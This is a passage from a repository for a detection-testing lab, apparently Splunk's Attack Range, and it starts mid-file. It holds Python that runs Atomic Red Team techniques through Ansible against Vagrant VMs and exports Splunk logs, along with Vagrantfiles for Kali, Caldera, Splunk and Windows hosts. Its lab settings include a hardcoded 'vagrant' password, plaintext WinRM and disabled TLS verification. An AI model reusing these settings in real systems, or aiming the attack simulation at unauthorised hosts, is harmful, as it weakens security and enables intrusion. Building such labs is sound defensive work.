100 | run_specific_atomic_tests = 'False'
101 |
102 | # get ip address from machine
103 | self.check_targets_running_vagrant(target, self.log)
104 | target_ip = self.get_ip_address_from_machine(target)
105 | runner = ansible_runner.run(private_data_dir='.',
106 | cmdline=str('-i ' + target_ip + ', '),
107 | roles_path="ansible/roles",
108 | playbook='ansible/atomic_red_team.yml',
109 | extravars={'art_branch': self.config['art_branch'], 'art_repository': self.config['art_repository'], 'run_specific_atomic_tests': run_specific_atomic_tests, 'art_run_tests': simulation_atomics, 'art_run_techniques': simulation_techniques, 'ansible_user': 'Vagrant', 'ansible_password': 'vagrant', 'ansible_port': 5985, 'ansible_winrm_scheme': 'http'},
110 | verbosity=0)
111 |
112 | if runner.status == "successful":
113 | self.log.info("successfully executed technique ID {0} against target: {1}".format(simulation_techniques, target))
114 | else:
115 | self.log.error("failed to executed technique ID {0} against target: {1}".format(simulation_techniques, target))
116 | sys.exit(1)
117 |
118 |
119 | def get_ip_address_from_machine(self, box):
120 | pattern = 'config.vm.define "' + box + '"[\s\S]*?:private_network, ip: "([^"]+)'
121 | match = re.search(pattern, self.vagrantfile)
122 | return match.group(1)
123 |
124 |
125 | def check_targets_running_vagrant(self, target, log):
126 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False)
127 | status = v1.status()
128 |
129 | found_box = False
130 | for stat in status:
131 | if stat.name == target:
132 | found_box = True
133 | if not (stat.state == 'running'):
134 | log.error(target + ' not running.')
135 | sys.exit(1)
136 | break
137 | if not found_box:
138 | log.error(target + ' not found as vagrant box.')
139 | sys.exit(1)
140 |
141 |
142 | def list_machines(self):
143 | print()
144 | print('Vagrant Status\n')
145 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False)
146 | response = v1.status()
147 | status = []
148 | for stat in response:
149 | status.append([stat.name, stat.state, self.get_ip_address_from_machine(stat.name)])
150 |
151 | print(tabulate(status, headers=['Name','Status','IP Address']))
152 | print()
153 |
154 | def dump(self, dump_name):
155 | self.log.info("Dump log data")
156 |
157 | folder = "attack_data/" + dump_name
158 | os.mkdir(os.path.join(os.path.dirname(__file__), '../' + folder))
159 |
160 |
161 | with open(os.path.join(os.path.dirname(__file__), '../attack_data/dumps.yml')) as dumps:
162 | for dump in yaml.full_load(dumps):
163 | if dump['enabled']:
164 | dump_out = dump['dump_parameters']['out']
165 | dump_search = "search %s earliest=%s | sort 0 _time" \
166 | % (dump['dump_parameters']['search'], dump['dump_parameters']['time'])
167 | dump_info = "Dumping Splunk Search to %s " % dump_out
168 | self.log.info(dump_info)
169 | out = open(os.path.join(os.path.dirname(__file__), "../attack_data/" + dump_name + "/" + dump_out), 'wb')
170 | splunk_sdk.export_search(self.config['splunk_server_private_ip'],
171 | s=dump_search,
172 | password=self.config['splunk_admin_password'],
173 | out=out)
174 | out.close()
175 | self.log.info("%s [Completed]" % dump_info)
176 |
--------------------------------------------------------------------------------
/modules/logger.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | def setup_logging(LOG_PATH,LOG_LEVEL):
4 | """Creates a shared logging object for the application"""
5 |
6 | # create logging object
7 | logger = logging.getLogger('attack_range')
8 | logger.setLevel(LOG_LEVEL)
9 | # create a file and console handler
10 | fh = logging.FileHandler(LOG_PATH)
11 | fh.setLevel(LOG_LEVEL)
12 | ch = logging.StreamHandler()
13 | ch.setLevel(LOG_LEVEL)
14 | # create a logging format
15 | formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(name)s - %(message)s')
16 | fh.setFormatter(formatter)
17 | ch.setFormatter(formatter)
18 | # add the handlers to the logger
19 | logger.addHandler(fh)
20 | logger.addHandler(ch)
21 | return logger
22 |
23 | def get():
24 | logger = logging.getLogger('attack_range')
25 | return logger
26 |
--------------------------------------------------------------------------------
/modules/splunk_sdk.py:
--------------------------------------------------------------------------------
1 |
2 | import sys
3 | import time
4 | from time import sleep
5 | import splunklib.results as results
6 | import splunklib.client as client
7 | import splunklib.results as results
8 | import requests
9 | from xml.etree import ElementTree
10 |
11 |
12 | def export_search(host, s, password, export_mode="raw", out=sys.stdout, username="admin", port=8089):
13 | """
14 | Exports events from a search using Splunk REST API to a local file.
15 |
16 | This is faster than performing a search/export from Splunk Python SDK.
17 |
18 | @param host: splunk server address
19 | @param s: search that matches events
20 | @param password: Splunk server password
21 | @param export_mode: default `raw`. `csv`, `xml`, or `json`
22 | @param out: local file pointer to write the results
23 | @param username: Splunk server username
24 | @param port: Splunk server port
25 | """
26 | import urllib3
27 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
28 |
29 | r = requests.post("https://%s:%d/servicesNS/admin/search/search/jobs/export" % (host, port),
30 | auth=(username, password),
31 | data={'output_mode': export_mode,
32 | 'search': s,
33 | 'max_count': 1000000},
34 | verify=False)
35 | out.write(r.text.encode('utf-8'))
36 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | ansible==2.9.2
2 | ansible-runner==1.4.4
3 | Jinja2==2.11.3
4 | python-vagrant==0.5.15
5 | pywinrm==0.4.1
6 | PyYAML==5.4
7 | splunk-sdk==1.6.12
8 | tabulate==0.8.6
9 |
--------------------------------------------------------------------------------
/vagrant/caldera-server/Vagrantfile:
--------------------------------------------------------------------------------
1 | config.vm.define "attack-range-caldera-server" do |config|
2 | VM_NAME= "attack-range-caldera-server"
3 | config.vm.box = "generic/ubuntu1804"
4 | config.vm.hostname = "#{VM_NAME}"
5 | config.vm.boot_timeout = 600
6 | config.vm.network "forwarded_port", guest: 8888, host: 8888, protocol: "tcp"
7 | config.vm.network :private_network, ip: "{{ caldera_server_private_ip }}"
8 |
9 | config.vm.provision "ansible" do |ansible|
10 | ansible.playbook = "../ansible/caldera_server.yml"
11 | ansible.config_file = "../ansible/ansible.cfg"
12 | ansible.compatibility_mode = "2.0"
13 | ansible.extra_vars = {
14 | ansible_python_interpreter: "/usr/bin/python3",
15 | caldera_password: '{{ caldera_password }}',
16 | caldera_server_ip: '{{ caldera_server_private_ip }}',
17 | cloud_attack_range: '0'
18 | }
19 | end
20 |
21 | config.vm.provider "virtualbox" do |vb, override|
22 | vb.gui = true
23 | vb.name = "#{VM_NAME}"
24 | vb.customize ["modifyvm", :id, "--memory", {{ caldera_server_memory }}]
25 | vb.customize ["modifyvm", :id, "--cpus", {{ caldera_server_cpus }}]
26 | end
27 | end
28 |
--------------------------------------------------------------------------------
/vagrant/kali-machine/Vagrantfile:
--------------------------------------------------------------------------------
1 | config.vm.define "attack-range-kali_machine" do |config|
2 | VM_NAME_KALI= "attack-range-kali_machine"
3 | config.vm.box = "kalilinux/rolling"
4 | config.vm.box_version = "2019.3.0"
5 | config.vm.boot_timeout = 600
6 | config.vm.hostname = "kali"
7 | config.vm.network :private_network, ip: "{{ kali_machine_private_ip }}"
8 |
9 | config.vm.provision "ansible" do |ansible|
10 | ansible.playbook = "../ansible/kali_linux.yml"
11 | ansible.config_file = "../ansible/ansible.cfg"
12 | ansible.compatibility_mode = "2.0"
13 | ansible.extra_vars = {
14 | ansible_python_interpreter: "/usr/bin/python3",
15 | run_demo: '{{ run_demo }}',
16 | demo_scenario: '{{ demo_scenario }}'
17 | }
18 | end
19 |
20 | config.vm.provider "virtualbox" do |vb, override|
21 | vb.gui = true
22 | vb.name = "#{VM_NAME_KALI}"
23 | vb.customize ["modifyvm", :id, "--memory", {{ kali_machine_memory }}]
24 | vb.customize ["modifyvm", :id, "--cpus", {{ kali_machine_cpus }}]
25 | end
26 | end
27 |
--------------------------------------------------------------------------------
/vagrant/phantom-server/Vagrantfile:
--------------------------------------------------------------------------------
1 | config.vm.define "attack-range-phantom-server" do |config|
2 | VM_NAME_P= "attack-range-phantom-server"
3 | config.vm.box = "centos/7"
4 | config.vm.hostname = "#{VM_NAME_P}"
5 | config.vm.boot_timeout = 600
6 | config.vm.network "forwarded_port", guest: 443, host: 8443, protocol: "tcp"
7 | config.vm.network :private_network, ip: "{{ phantom_server_private_ip }}"
8 |
9 | config.vm.provision "ansible" do |ansible|
10 | ansible.playbook = "../ansible/phantom_server.yml"
11 | ansible.config_file = "../ansible/ansible.cfg"
12 | ansible.compatibility_mode = "2.0"
13 | ansible.extra_vars = {
14 | phantom_admin_password: '{{ phantom_admin_password }}',
15 | phantom_community_username: '{{ phantom_community_username }}',
16 | phantom_community_password: '{{ phantom_community_password }}',
17 | phantom_server_private_ip: '{{ phantom_server_private_ip }}'
18 | }
19 | end
20 |
21 | config.vm.provider "virtualbox" do |vb, override|
22 | vb.gui = true
23 | vb.name = "#{VM_NAME_P}"
24 | vb.customize ["modifyvm", :id, "--memory", {{ phantom_server_memory }}]
25 | vb.customize ["modifyvm", :id, "--cpus", {{ phantom_server_cpus }}]
26 | end
27 | end
28 |
--------------------------------------------------------------------------------
/vagrant/splunk_server/Vagrantfile:
--------------------------------------------------------------------------------
1 | config.vm.define "attack-range-splunk-server" do |config|
2 | VM_NAME= "attack-range-splunk-server"
3 | config.vm.box = "generic/ubuntu1804"
4 | config.vm.hostname = "#{VM_NAME}"
5 | config.vm.boot_timeout = 600
6 | config.vm.network "forwarded_port", guest: 8000, host: 8000, protocol: "tcp"
7 | config.vm.network "forwarded_port", guest: 8089, host: 8089, protocol: "tcp"
8 | config.vm.network :private_network, ip: "{{ splunk_server_private_ip }}"
9 |
10 | config.vm.provision "ansible" do |ansible|
11 | ansible.playbook = "../ansible/splunk_server.yml"
12 | ansible.config_file = "../ansible/ansible.cfg"
13 | ansible.compatibility_mode = "2.0"
14 | ansible.extra_vars = {
15 | ansible_python_interpreter: "/usr/bin/python3",
16 | splunk_admin_password: '{{ splunk_admin_password }}',
17 | splunk_url: '{{ splunk_url }}',
18 | splunk_binary: '{{ splunk_binary }}',
19 | s3_bucket_url: '{{ s3_bucket_url }}',
20 | splunk_escu_app: '{{ splunk_escu_app }}',
21 | splunk_asx_app: '{{ splunk_asx_app }}',
22 | splunk_windows_ta: '{{ splunk_windows_ta }}',
23 | splunk_cim_app: '{{ splunk_cim_app }}',
24 | splunk_sysmon_ta: '{{ splunk_sysmon_ta }}',
25 | caldera_password: '{{ caldera_password }}',
26 | splunk_mltk_app: '{{ splunk_mltk_app }}',
27 | splunk_bots_dataset: '{{ splunk_bots_dataset }}',
28 | splunk_stream_app: '{{ splunk_stream_app }}',
29 | splunk_python_app: '{{ splunk_python_app }}',
30 | install_es: '{{ install_es }}',
31 | install_mltk: '{{ install_mltk }}',
32 | splunk_es_app: '{{ splunk_es_app }}',
33 | splunk_es_app_version: '{{ splunk_es_app_version }}',
34 | phantom_app: '{{ phantom_app }}',
35 | phantom_server: '{{ phantom_server }}',
36 | phantom_server_private_ip: '{{ phantom_server_private_ip }}',
37 | phantom_admin_password: '{{ phantom_admin_password }}',
38 | splunk_security_essentials_app: '{{ splunk_security_essentials_app }}',
39 | punchard_custom_visualization: '{{ punchard_custom_visualization }}',
40 | status_indicator_custom_visualization: '{{ status_indicator_custom_visualization }}',
41 | splunk_attack_range_dashboard: '{{ splunk_attack_range_dashboard }}',
42 | timeline_custom_visualization: '{{ timeline_custom_visualization }}',
43 | install_mission_control: '{{ install_mission_control }}',
44 | mission_control_app: '{{ mission_control_app }}',
45 | install_dsp: '{{ install_dsp }}',
46 | dsp_client_cert_path: '{{ dsp_client_cert_path }}',
47 | dsp_node: '{{ dsp_node }}',
48 | splunk_server_private_ip: '{{ splunk_server_private_ip }}',
49 | cloud_attack_range: '0'
50 | }
51 | end
52 |
53 | config.vm.provider "virtualbox" do |vb, override|
54 | vb.gui = true
55 | vb.name = "#{VM_NAME}"
56 | vb.customize ["modifyvm", :id, "--memory", {{ splunk_server_memory }}]
57 | vb.customize ["modifyvm", :id, "--cpus", {{ splunk_server_cpus }}]
58 | end
59 | end
60 |
--------------------------------------------------------------------------------
/vagrant/windows-domain-controller/Vagrantfile:
--------------------------------------------------------------------------------
1 |
2 | config.vm.define "attack-range-windows-domain-controller" do |config|
3 | VM_NAME_WIN_DC= "attack-range-windows-domain-controller"
4 | config.vm.box = "d1vious/windows2016"
5 | config.vm.hostname = "dc"
6 | config.vm.boot_timeout = 600
7 | config.vm.communicator = "winrm"
8 | config.winrm.transport = :plaintext
9 | config.winrm.basic_auth_only = true
10 | config.winrm.timeout = 300
11 | config.winrm.retry_limit = 20
12 | config.vm.network "forwarded_port", guest: 5985, host: 6000
13 | config.vm.network :private_network, ip: "{{ windows_domain_controller_private_ip }}"
14 | config.vm.synced_folder '.', '/vagrant', disabled: true
15 |
16 | config.vm.provision "ansible" do |ansible|
17 | ansible.extra_vars = {
18 | ansible_port: 6000,
19 | ansible_winrm_scheme: 'http',
20 | splunk_server: "{{ splunk_server }}",
21 | splunk_indexer_ip: "{{ splunk_server_private_ip }}",
22 | caldera_server_ip: '{{ caldera_server_private_ip }}',
23 | win_password: '{{ win_password }}',
24 | splunk_uf_win_url: '{{ splunk_uf_win_url }}',
25 | nxlog_url: '{{ nxlog_url }}',
26 | install_dsp: '{{ install_dsp }}',
27 | win_sysmon_url: '{{ win_sysmon_url }}',
28 | win_sysmon_template: '{{ win_sysmon_template }}',
29 | splunk_admin_password: '{{ splunk_admin_password }}',
30 | capture_attack_data: '{{ capture_attack_data }}',
31 | win_timezone: '{{ win_timezone }}',
32 | }
33 | ansible.playbook = "../ansible/windows_dc.yml"
34 | ansible.config_file = "../ansible/ansible.cfg"
35 | ansible.compatibility_mode = "2.0"
36 | end
37 |
38 | config.vm.provider "virtualbox" do |vb, override|
39 | vb.gui = true
40 | vb.name = "#{VM_NAME_WIN_DC}"
41 | vb.customize ["modifyvm", :id, "--memory", {{ windows_domain_controller_memory }}]
42 | vb.customize ["modifyvm", :id, "--cpus", {{ windows_domain_controller_cpus }}]
43 | vb.customize ["modifyvm", :id, "--vram", "32"]
44 | vb.customize ["modifyvm", :id, "--clipboard", "bidirectional"]
45 | vb.customize ["setextradata", "global", "GUI/SuppressMessages", "all" ]
46 | end
47 | end
48 |
--------------------------------------------------------------------------------
/vagrant/windows-server/Vagrantfile:
--------------------------------------------------------------------------------
1 |
2 |
3 | config.vm.define "attack-range-windows-server" do |config|
4 | VM_NAME_WIN_DC_CLIENT= "attack-range-windows-server"
5 | config.vm.box = "d1vious/windows2016"
6 | config.vm.hostname = "win-server"
7 | config.vm.boot_timeout = 600
8 | config.vm.communicator = "winrm"
9 | config.winrm.transport = :plaintext
10 | config.winrm.basic_auth_only = true
11 | config.winrm.timeout = 300
12 | config.winrm.retry_limit = 20
13 | config.vm.network "forwarded_port", guest: 5985, host: 6001
14 | config.vm.network :private_network, ip: "{{ windows_server_private_ip }}"
15 | config.vm.synced_folder '.', '/vagrant', disabled: true
16 |
17 | config.vm.provision "ansible" do |ansible|
18 | ansible.extra_vars = {
19 | ansible_port: 6001,
20 | ansible_winrm_scheme: 'http',
21 | splunk_server: "{{ splunk_server }}",
22 | splunk_indexer_ip: "{{ splunk_server_private_ip }}",
23 | caldera_server_ip: '{{ caldera_server_private_ip }}',
24 | win_password: '{{ win_password }}',
25 | splunk_uf_win_url: '{{ splunk_uf_win_url }}',
26 | nxlog_url: '{{ nxlog_url }}',
27 | install_dsp: '{{ install_dsp }}',
28 | win_sysmon_url: '{{ win_sysmon_url }}',
29 | win_sysmon_template: '{{ win_sysmon_template }}',
30 | splunk_admin_password: '{{ splunk_admin_password }}',
31 | windows_server_join_domain: '{{ windows_server_join_domain }}',
32 | windows_domain_controller_private_ip: '{{ windows_domain_controller_private_ip }}',
33 | run_demo: '{{ run_demo }}',
34 | demo_scenario: '{{ demo_scenario }}',
35 | capture_attack_data: '{{ capture_attack_data }}',
36 | win_timezone: '{{ win_timezone }}'
37 | }
38 | ansible.playbook = "../ansible/windows_dc_client.yml"
39 | ansible.config_file = "../ansible/ansible.cfg"
40 | ansible.compatibility_mode = "2.0"
41 | end
42 |
43 | config.vm.provider "virtualbox" do |vb, override|
44 | vb.gui = true
45 | vb.name = "#{VM_NAME_WIN_DC_CLIENT}"
46 | vb.customize ["modifyvm", :id, "--memory", {{ windows_server_memory }}]
47 | vb.customize ["modifyvm", :id, "--cpus", {{ windows_server_cpus }}]
48 | vb.customize ["modifyvm", :id, "--vram", "32"]
49 | vb.customize ["modifyvm", :id, "--clipboard", "bidirectional"]
50 | vb.customize ["setextradata", "global", "GUI/SuppressMessages", "all" ]
51 | end
52 | end
53 |
--------------------------------------------------------------------------------
/vagrant/windows10/Vagrantfile:
--------------------------------------------------------------------------------
1 | config.vm.define "attack-range-win10" do |config|
2 | VM_NAME_WIN= "attack-range-win10"
3 | config.vm.box = "d1vious/windows10"
4 | config.vm.hostname = "win10"
5 | config.vm.boot_timeout = 600
6 | config.vm.communicator = "winrm"
7 | config.winrm.basic_auth_only = true
8 | config.winrm.timeout = 300
9 | config.winrm.retry_limit = 20
10 | config.vm.network "forwarded_port", guest: 5985, host: 5985
11 | config.vm.network :private_network, ip: "{{ windows_client_private_ip }}"
12 | config.vm.synced_folder '.', '/vagrant', disabled: true
13 |
14 | config.vm.provision "ansible" do |ansible|
15 | ansible.extra_vars = {
16 | ansible_port: 5985,
17 | splunk_server: "{{ splunk_server }}",
18 | splunk_indexer_ip: "{{ splunk_server_private_ip }}",
19 | caldera_server_ip: '{{ caldera_server_private_ip }}',
20 | win_password: '{{ win_password }}',
21 | splunk_uf_win_url: '{{ splunk_uf_win_url }}',
22 | nxlog_url: '{{ nxlog_url }}',
23 | install_dsp: '{{ install_dsp }}',
24 | win_sysmon_url: '{{ win_sysmon_url }}',
25 | win_sysmon_template: '{{ win_sysmon_template }}',
26 | splunk_admin_password: '{{ splunk_admin_password }}',
27 | windows_server_join_domain: '{{ windows_client_join_domain }}',
28 | windows_domain_controller_private_ip: '{{ windows_domain_controller_private_ip }}',
29 | run_demo: '{{ run_demo }}',
30 | demo_scenario: '{{ demo_scenario }}',
31 | capture_attack_data: '{{ capture_attack_data }}',
32 | win_timezone: '{{ win_timezone }}'
33 | }
34 | ansible.playbook = "../ansible/windows_workstation.yml"
35 | ansible.config_file = "../ansible/ansible.cfg"
36 | ansible.compatibility_mode = "2.0"
37 | end
38 |
39 | config.vm.provider "virtualbox" do |vb, override|
40 | vb.gui = true
41 | vb.name = "#{VM_NAME_WIN}"
42 | vb.customize ["modifyvm", :id, "--memory", {{ windows_client_memory }}]
43 | vb.customize ["modifyvm", :id, "--cpus", {{ windows_client_cpus }}]
44 | vb.customize ["modifyvm", :id, "--vram", "32"]
45 | vb.customize ["modifyvm", :id, "--clipboard", "bidirectional"]
46 | vb.customize ["setextradata", "global", "GUI/SuppressMessages", "all" ]
47 | end
48 | end
49 |
--------------------------------------------------------------------------------